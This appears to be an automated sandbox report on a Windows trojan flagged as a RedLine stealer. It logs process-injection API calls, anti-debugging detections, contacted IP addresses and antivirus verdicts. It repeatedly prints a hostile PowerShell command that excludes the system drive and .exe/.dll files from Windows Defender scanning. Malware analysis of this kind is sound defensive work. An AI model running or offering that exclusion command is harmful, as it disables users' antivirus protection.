NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02910000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f53000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Looks up the external IP address (1 event)

domain

ip-api.com

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Aug. 18, 2023, 6:06 p.m.	show_type: 0 filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe parameters: Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 18, 2023, 6:06 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Aug. 18, 2023, 6:06 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 6064d9927ef4f9d3e164b6ecea09273dc80cbb84

Communicates with host for which no DNS query was performed (4 events)

host	185.149.146.118
host	185.159.129.168
host	46.29.235.84
host	77.91.77.144

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000078		3221225496	0
NtAllocateVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000078	1	0	0

Manipulates memory of a non-child process indicative of process injection (9 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1880 manipulating memory of non-child process 940
NtAllocateVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000078		3221225496	0
NtAllocateVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000078	1	0	0
NtProtectVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 2 (PAGE_READONLY) base_address: 0x000c0000 process_handle: 0x00000078	1	0	0
NtProtectVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 925696 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x000c1000 process_handle: 0x00000078	1	0	0
NtProtectVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 233472 protection: 2 (PAGE_READONLY) base_address: 0x001a3000 process_handle: 0x00000078	1	0	0
NtProtectVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 20480 protection: 4 (PAGE_READWRITE) base_address: 0x001dc000 process_handle: 0x00000078	1	0	0
NtProtectVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 2 (PAGE_READONLY) base_address: 0x001e1000 process_handle: 0x00000078	1	0	0
NtProtectVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 20480 protection: 2 (PAGE_READONLY) base_address: 0x001e2000 process_handle: 0x00000078	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1880 injected into non-child 940
WriteProcessMemory Aug. 18, 2023, 6:05 p.m.	buffer: base_address: 0xfffde008 process_identifier: 940 process_handle: 0x00000078	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1880 called NtSetContextThread to modify thread in remote process 940
NtSetContextThread Aug. 18, 2023, 6:05 p.m.	registers.eip: 2005598660 registers.esp: 5241560 registers.edi: 0 registers.eax: 1324147 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000074 process_identifier: 940	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
parent_process	powershell.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1880 resumed a thread in remote process 940
NtResumeThread Aug. 18, 2023, 6:05 p.m.	thread_handle: 0x00000074 suspend_count: 1 process_identifier: 940	1	0	0

Executed a process and injected code into it, probably while unpacking (18 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Aug. 18, 2023, 6:05 p.m.	thread_identifier: 2052 thread_handle: 0x00000074 process_identifier: 940 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000078	1	1
NtGetContextThread Aug. 18, 2023, 6:05 p.m.	thread_handle: 0x00000074	1	0
NtAllocateVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000078		3221225496
NtAllocateVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 940 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000078	1	0
WriteProcessMemory Aug. 18, 2023, 6:05 p.m.	buffer: base_address: 0x000c0000 process_identifier: 940 process_handle: 0x00000078	1	1
WriteProcessMemory Aug. 18, 2023, 6:05 p.m.	buffer: base_address: 0xfffde008 process_identifier: 940 process_handle: 0x00000078	1	1
NtSetContextThread Aug. 18, 2023, 6:05 p.m.	registers.eip: 2005598660 registers.esp: 5241560 registers.edi: 0 registers.eax: 1324147 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000074 process_identifier: 940	1	0
NtResumeThread Aug. 18, 2023, 6:05 p.m.	thread_handle: 0x00000074 suspend_count: 1 process_identifier: 940	1	0
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x000002c4 suspend_count: 1 process_identifier: 2572	1	0
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x00000318 suspend_count: 1 process_identifier: 2572	1	0
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x00000464 suspend_count: 1 process_identifier: 2572	1	0
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x00000478 suspend_count: 1 process_identifier: 2572	1	0
CreateProcessInternalW Aug. 18, 2023, 6:06 p.m.	thread_identifier: 2704 thread_handle: 0x000004f4 process_identifier: 2700 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004ec	1	1
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x00000518 suspend_count: 1 process_identifier: 2572	1	0
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x000002c8 suspend_count: 1 process_identifier: 2700	1	0
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x0000031c suspend_count: 1 process_identifier: 2700	1	0
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x00000468 suspend_count: 1 process_identifier: 2700	1	0
NtResumeThread Aug. 18, 2023, 6:06 p.m.	thread_handle: 0x000004c8 suspend_count: 1 process_identifier: 2700	1	0

File has been identified by 52 AntiVirus engines on VirusTotal as malicious (50 out of 52 events)

Bkav	W32.Common.ED56BC6F
Lionic	Trojan.Win32.Reline.4!c
DrWeb	Trojan.DownLoader45.64633
MicroWorld-eScan	Trojan.GenericKDZ.102331
FireEye	Generic.mg.b78141a544759e1a
ALYac	Trojan.GenericKDZ.102331
Cylance	unsafe
VIPRE	Trojan.GenericKDZ.102331
Sangfor	Trojan.Win32.Kryptik.Vcsj
K7AntiVirus	Trojan ( 005a8c871 )
Alibaba	Trojan:Win32/Kryptik.95b08c6d
K7GW	Trojan ( 005a8c871 )
CrowdStrike	win/malicious_confidence_100% (W)
Arcabit	Trojan.Heur.EF643F
BitDefenderTheta	AI:Packer.2A6CF8751C
Cyren	W32/Agent.GRQ.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/Kryptik.HUBU
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	Trojan.Win32.Strab.cgb
BitDefender	Trojan.GenericKDZ.102331
NANO-Antivirus	Trojan.Win32.Stealer.jydtuw
Avast	Win32:PWSX-gen [Trj]
Tencent	Malware.Win32.Gencirc.13ebf353
Sophos	Mal/Generic-S
F-Secure	Trojan.TR/AD.Nekark.ruzqy
McAfee-GW-Edition	Artemis!Trojan
Emsisoft	Trojan.GenericKDZ.102331 (B)
Ikarus	Trojan.Win32.Krypt
Webroot	W32.Trojan.Gen
Avira	TR/AD.Nekark.ruzqy
Antiy-AVL	Trojan/Win32.Kryptik
Gridinsoft	Ransom.Win32.Sabsik.cl
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	Trojan.Win32.Strab.cgb
GData	Trojan.GenericKDZ.102331
Google	Detected
McAfee	Artemis!B78141A54475
MAX	malware (ai score=88)
VBA32	BScope.TrojanPSW.RedLine
Malwarebytes	Spyware.RedLineStealer
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R002H0CH823
Rising	Trojan.Kryptik!8.8 (TFE:5:73MEJ80SpeE)
Yandex	Trojan.Kryptik!RXI3IGygRzs
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	W32/Kryptik.HUBU!tr
AVG	Win32:PWSX-gen [Trj]

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (5 events)

dead_host	185.159.129.168:80
dead_host	77.91.77.144:80
dead_host	185.149.146.118:80
dead_host	192.168.56.103:49167
dead_host	192.168.56.103:49166

1ds3y.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All